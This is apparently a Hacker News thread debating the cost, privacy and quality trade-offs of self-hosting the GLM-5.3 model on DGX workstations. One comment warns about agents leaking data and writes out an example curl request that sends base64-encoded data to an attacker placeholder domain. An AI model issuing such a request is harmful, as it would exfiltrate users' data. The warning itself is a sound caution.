| ▲ | hkalbasi 5 hours ago |
| Assuming the DGX priced at $100K, and GLM-5.3 at $1.4/M output token, this has ROI of ~7 years at maximum utilization (unlikely) and ignoring operational expenses like electricity. Which makes it economically unreasonable unless you want privacy or something like that. |
|
| ▲ | liuliu 2 hours ago | parent | next [-] |
| Where your price is from?
https://docs.z.ai/guides/overview/pricing
Input tokens: $1.4
Output tokens: $4.4
Cached input: $0.26 The ROI on this hardware from my back-of-envelope calculation is (50M per day for output tokens, 500M (assuming 10x ratio, which again is conservative (probably 4x more realistically)) per day for input tokens, and assuming 90% / 10% mixing (10% output, and 90% input), you are doing $22 + $630 per day), that is less than a year to make the money (2 DGX Stations, $200k) back. EDIT: actually read the article, it is kinda poorly written with no clear separation what's the performance for decode v.s. prefill, making us arguing about this much less meaningful. |
| |
| ▲ | an hour ago | parent | next [-] | | [deleted] | |
| ▲ | Doohickey-d an hour ago | parent | prev [-] | | And it's even cheaper on third party providers. For example the cheapest fp8 on openrouter is $0.5586 input, $0.1037 cached input, $1.756 output. And obviously less on fp4. |
|
|
| ▲ | lumost 5 hours ago | parent | prev | next [-] |
| It’s useful in controlled environments where getting a commodity api approved will take years. Eg I can put 2x of these workstations in an office handling banking/medical/secret/sensitive data and have my engineers stop complaining. |
| |
| ▲ | kgeist 3 hours ago | parent | next [-] | | People say GLM 5.3 is not much smarter than GLM 5.3 Flash (just +4 points on Artificial Analysis), and GLM 5.3 Flash fits on 4x RTX 6000 Pro for 4 times less money, with the same 600 tok/sec aggregate decode speed on vLLM (6 mln tokens KV cache). And I tell you, 600 tok/sec is not much for an organization, it's barely usable for 8 people. That's why we plan to buy more RTX 6000 Pros. And this setup requires $400,000 to run GLM 5.3 for 16 people, it's absolutely uneconomical. | | |
| ▲ | Implicated 29 minutes ago | parent | next [-] | | 5.3 is certainly “better” than its flash variant, in my experience. I’ve moved on from both but eagerly await the next generation of each. Better, in this context, is more capable with open ended work, planning, longer horizon “reasoning”. Flash is an absolute chad with a well defined task and accompanying guidance/guardrails/conventions provided. But not even close when it needs to deviate, runs into a “blocker” and has to reason its way out. | |
| ▲ | meatmanek 2 hours ago | parent | prev | next [-] | | Personally I find GLM-5.3 to be smart enough to be my daily driver, writing code, doing investigations, etc., including multi-codebase changes and finding the relevant documentation/supporting code for itself so I don't have to explain everything. It's fast (depending on your inference provider), cheap, and smart enough. I find the full-size 5.3 is smart enough to avoid all the small-model problems, while GLM-5.3-Flash definitely starts showing its limits any time the task at hand is poorly defined. 5.3-Flash can often manage even complicated tasks, but the error rate (in terms of bad decisions, misunderstandings, etc) starts creeping up and the time wasted (or the risk thereof) gets high enough that it's worth just paying for the bigger model. I do wish the bigger model could use vision though- that's currently limited to the flash model (presumably because it came out later, when they had figured out their vision training pipeline. Hopefully later releases will include it.) | | |
| ▲ | kgeist 2 hours ago | parent [-] | | Dunno, maybe I'm good at prompting it, but I haven't had many issues with GLM-5.3 Flash. After switching from the Claude models, I barely noticed any difference for most tasks. In fact, I have to recheck the settings from time to time to make sure I'm not running anything Anthropic when I see it working with sensitive data :) The only annoying issue for me is that GLM-5.3 Flash is often eager to go into action and start modifying code when I've just asked a question and it misunderstood it as a call to action. |
| |
| ▲ | John23832 an hour ago | parent | prev [-] | | You’re not going to get the same token throughout with the pro 6000 over pcie. You’re paying for speed and bandwidth. | | |
| ▲ | kgeist 36 minutes ago | parent [-] | | The setup in the article reports 600 tok/sec aggregate decode for GLM 5.3. I get the same throughput on 4x RTX 6000 Pro's connected vi PCIe for GLM 5.3 Flash, which is just 4 points below GLM 5.3 on Artificial Analysis. I'm just saying the setup in the article looks overpriced for what it can actually do |
|
| |
| ▲ | maxloh an hour ago | parent | prev | next [-] | | It is also unsafe unless you run the agents in a sandbox without network access. All it takes to leak data is a curl request to https://evil-domain.com/?payload=base64-encoded-data, and any model could be trained or fine-tuned to execute this on any task. It becomes even more dangerous if you run unofficial quantized weights of the original model, such as the Unsloth ones. Doing so means there are now two separate parties you need to trust, on top of the Chinese corporation behind the original model. | |
| ▲ | 3 hours ago | parent | prev | next [-] | | [deleted] | |
| ▲ | Grimburger 5 hours ago | parent | prev [-] | | Since when do software engineers complain about maintaining privacy, security or compliance? I have very much the opposite experience, they trash the place like toddlers then complain relentlessly when our auditors or anyone else points it out. | | |
| ▲ | cududa 4 hours ago | parent | next [-] | | That says more about the companies and fields you chose to work in than software engineers as a whole | |
| ▲ | wrmanis 4 hours ago | parent | prev | next [-] | | Or perhaps they are referring to more kinds of engineers. Security engineers, IT engineers, ops engineers, and so on. They are more likely to have the kinds of requirements that he's referring to. | | |
| ▲ | vbezhenar an hour ago | parent [-] | | No engineer would prefer to use inferior tools. Only managers care about that. |
| |
| ▲ | arjie 5 hours ago | parent | prev | next [-] | | Presumably some organizations are able to contain the rapacious software engineer. In those organizations, the software engineer is better able to offer this. As it happens, though, almost all of those would rather use ZDR Claude over this kind of thing just because of the BCDR issues etc. | |
| ▲ | nijave 5 hours ago | parent | prev | next [-] | | Presumably they don't and op does. I think the engineers are complaining they want LLMs and op is stuck handing data over to a 3rd party or denying them access. This would be the compromise (self hosted LLM) | |
| ▲ | jacquesm 2 hours ago | parent | prev | next [-] | | Because the companies they work for take their NDA's, compliance and other requirements as must haves rather than optional. | |
| ▲ | kentm 3 hours ago | parent | prev | next [-] | | My team does. It’s an important constraint. Do your software developers routinely ignore critical requirements? | |
| ▲ | 4 hours ago | parent | prev [-] | | [deleted] |
|
|
|
| ▲ | poisonborz 5 hours ago | parent | prev | next [-] |
| In each similar thread there are posts disputing the ROI - most often that's a minor positive side-effect of self-hosting. Independence, privacy and unchanging, uncensored models, that makes it already worth it. |
| |
| ▲ | Lucasoato 5 hours ago | parent | next [-] | | Exactly, in fields like health, police, and military you really can’t accept the risks of your data leaking to a provider even if they claim to offer zero data retention. | | |
| ▲ | andriy_koval 2 hours ago | parent [-] | | Is suspect major providers will or already provide service of deploying their models on clients hardware, if bill is large enough. |
| |
| ▲ | 3 hours ago | parent | prev | next [-] | | [deleted] | |
| ▲ | Danox 5 hours ago | parent | prev [-] | | With the blasé attitude that I see, the future is gonna be filled with lawsuits back-and-forth. It’s all incoming. |
|
|
| ▲ | giwook 5 hours ago | parent | prev | next [-] |
| It seems like hosting your frontier models don't make any kind of economic sense at this point given the exorbitant premiums on hardware in this space right now. What will prices look like once production has caught up with demand though? |
| |
| ▲ | preommr 4 hours ago | parent [-] | | Well if the current AI leaders are to be believed, it won't matter because money won't be a thing, robots will do all the hard labor, and cancer will be solved. All in the next few years btw, around the same amount of time to actually build the factories. So strap in I guess. |
|
|
| ▲ | chung8123 5 hours ago | parent | prev | next [-] |
| This is a lot of faster though. That could be worth something. |
|
| ▲ | user43928 5 hours ago | parent | prev | next [-] |
| It seems particularly poor compared to larger deployments of other models like Kimi K3.1 Pro. I've heard numbers between 10k-38k tokens per second per GB300 GPU. |
| |
| ▲ | lossolo 13 minutes ago | parent [-] | | GB300 is a full rack of 72 GPUs and costs ~10x more than two DGXs in the article. |
|
|
| ▲ | Danox 5 hours ago | parent | prev | next [-] |
| If you’re doing any work near and dear to your heart, that you think is gonna have some type of significance, some type of value, if you don’t care about privacy and are not doing anything about it upfront, don’t cry on the back end. |
| |
| ▲ | skrebbel 5 hours ago | parent [-] | | “Doing anything about it up front” meaning buying 2x$100k worth of hardware? | | |
|
|
| ▲ | jacquesm 2 hours ago | parent | prev | next [-] |
| Assuming constant pricing for tokens from online suppliers. |
|
| ▲ | tomrod 5 hours ago | parent | prev | next [-] |
| Maybe it won't be for long, if the price inflators Huang allegedly engaged in are relaxed (financing AI startups to put capacity pressure on pricing). |
|
| ▲ | 4 hours ago | parent | prev | next [-] |
| [deleted] |
|
| ▲ | irishcoffee 3 hours ago | parent | prev [-] |
| I am really getting tired of this point. Yeah no shit renting something instead of buying it probably saves money in the short term. Like… a house, or taking an uber everywhere, or renting a musical instrument instead of buying one. There is an invaluable, priceless sense of of ownership of a thing instead of renting a thing. If we thought of everything the way you’re pointing out the min-maxing value of LLMs nobody would own anything except for the oligarchs. You’re good with that? |